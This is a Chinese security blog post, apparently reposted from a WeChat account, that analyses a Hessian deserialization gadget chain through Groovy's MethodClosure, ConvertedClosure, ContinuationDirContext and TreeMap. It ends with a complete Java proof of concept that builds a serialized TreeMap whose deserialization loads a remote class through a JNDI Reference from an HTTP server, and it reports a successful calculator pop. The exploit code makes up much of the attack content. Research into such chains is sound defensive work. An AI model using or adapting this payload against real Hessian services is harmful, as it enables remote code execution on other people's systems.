hessian反序列化漏洞之Groovy链(代码分析)

admin 2024年2月24日15:27:27评论18 views字数 3351阅读11分10秒阅读模式

Groovy

更新到这里应该是hessian合集里的最后一篇文章了!如果喜欢作者文章的话,点个赞帮忙分享一下,如有不对的地方请大佬指出,对这方面感兴趣的师傅可以加个v 交流一下经验。文章不易多多支持!!!

pom.xml

        <dependency>
           <groupId>org.codehaus.groovy</groupId>
           <artifactId>groovy</artifactId>
           <version>2.3.9</version>
       </dependency>

MethodClosure类

这条链主要是通过MethodClosure.doCall方法,而该方法里存在任意方法调用,这也就是漏洞点。

hessian反序列化漏洞之Groovy链(代码分析)

参数也是可控的

hessian反序列化漏洞之Groovy链(代码分析)

ConvertedClosure类

在该类里的invokeCustom方法里调用了call,而call方法里反射调用docall方法,并且getDelegate是可控的。

hessian反序列化漏洞之Groovy链(代码分析)

hessian反序列化漏洞之Groovy链(代码分析)

然后该方法又是在哪里调用的呢?正是父类的invoke方法,而父类也正是实现了InvocationHandler,所以我们可以构造一个动态代理,让此类当成处理器。

ContinuationDirContext类

配合MethodClosure的任意方法调用,调用ContinuationDirContext类的getTargetContext方法,然后这就出现我们熟悉的老朋友了。

hessian反序列化漏洞之Groovy链(代码分析)

TreeMap类

这时读者们又要说了既然能任意方法调用,为什么不直接调用命令执行?因为我们要使用的是动态代理,所以考虑的是要代理接口,这里就不能使用HashMap了而是使用的TreeMap。而TreeMap里能让key执行的方法只有compareTo该方法,所以我们动态代理的时候也只能代理这个方法的接口。

hessian反序列化漏洞之Groovy链(代码分析)

hessian反序列化漏洞之Groovy链(代码分析)

所以这时读者又要说了那跟不能本地命令执行有什么关系?我们的compare方法是必须要传入参数值。然后这个参数值就导致调用的方法必须是有参方法,而ProcessBuilder.start()方法是无参方法,runtime也是不行的因为参数不可控。所以导致不可行。

hessian反序列化漏洞之Groovy链(代码分析)

hessian反序列化漏洞之Groovy链(代码分析)

hessian反序列化漏洞之Groovy链(代码分析)

hessian反序列化漏洞之Groovy链(代码分析)

因为我们在put的时候就会调用动态代理。所以通过反射将动态代理传入TreeMap。

验证测试:

打开一个存放恶意class的http服务

hessian反序列化漏洞之Groovy链(代码分析)

hessian反序列化漏洞之Groovy链(代码分析)

成功弹出!!

hessian反序列化漏洞之Groovy链(代码分析)

hessian反序列化漏洞之Groovy链(代码分析)

POC:

public static void main(String[] args) throws Throwable {

Reference reference = new Reference("Calc", "Calc", "http://127.0.0.1:7777/");

       CannotProceedException cpe = new CannotProceedException();
       cpe.setResolvedObj(reference);
       Class<?> aClass = Class.forName("javax.naming.spi.ContinuationDirContext");
       Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(CannotProceedException.class,Hashtable.class);
       declaredConstructor.setAccessible(true);
       Object c1 = declaredConstructor.newInstance(cpe, new Hashtable<>());

       MethodClosure methodClosure = new MethodClosure(c1,"listBindings");

       ConvertedClosure convertedClosure = new ConvertedClosure(methodClosure, "compareTo");

       Object o = Proxy.newProxyInstance(convertedClosure.getClass().getClassLoader(), new Class[]{Comparable.class}, convertedClosure);

       Class<?> e = Class.forName("java.util.TreeMap$Entry");
       Constructor<?> declaredConstructor1 = e.getDeclaredConstructor(Object.class, Object.class, e);
       declaredConstructor1.setAccessible(true);
       Object a = declaredConstructor1.newInstance("a", 1, null);

       Constructor<?> declaredConstructor2 = e.getDeclaredConstructor(Object.class, Object.class, e);
       declaredConstructor2.setAccessible(true);
       Object o1 = declaredConstructor2.newInstance(o, 2, a);

       Class<?> t = Class.forName("java.util.TreeMap");
       TreeMap treeMap = (TreeMap) t.newInstance();

       Field size = t.getDeclaredField("size");
       size.setAccessible(true);
       size.set(treeMap,2);

       Field modCount = t.getDeclaredField("modCount");
       modCount.setAccessible(true);
       modCount.set(treeMap,2);

       Field root = t.getDeclaredField("root");
       root.setAccessible(true);
       root.set(treeMap,a);

       Field right = e.getDeclaredField("right");
       right.setAccessible(true);
       right.set(a,o1);

       byte[] serialize = serialize(treeMap);
       unSerialize(serialize);

  }
   public static byte[] serialize(Object obj) throws IOException {
       ByteArrayOutputStream baos = new ByteArrayOutputStream();
       Hessian2Output output = new Hessian2Output(baos);
       output.getSerializerFactory().setAllowNonSerializable(true);
       output.writeObject(obj);
       output.flush();
       byte[] bytes = baos.toByteArray();
       return bytes;
  }

   public static void unSerialize(byte[] bytes) throws IOException {
       ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
       Hessian2Input input = new Hessian2Input(bais);
       input.readObject();
  }

hessian反序列化完结!

hessian反序列化漏洞之Groovy链(代码分析)

 如果对这方面感兴趣的可以点个赞支持一下小编后续会继续更新hessian反序列化漏洞之Groovy链(代码分析)

原文始发于微信公众号(October安全):hessian反序列化漏洞之Groovy链(代码分析)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月24日15:27:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   hessian反序列化漏洞之Groovy链(代码分析)https://cn-sec.com/archives/2251706.html

发表评论

匿名网友 填写信息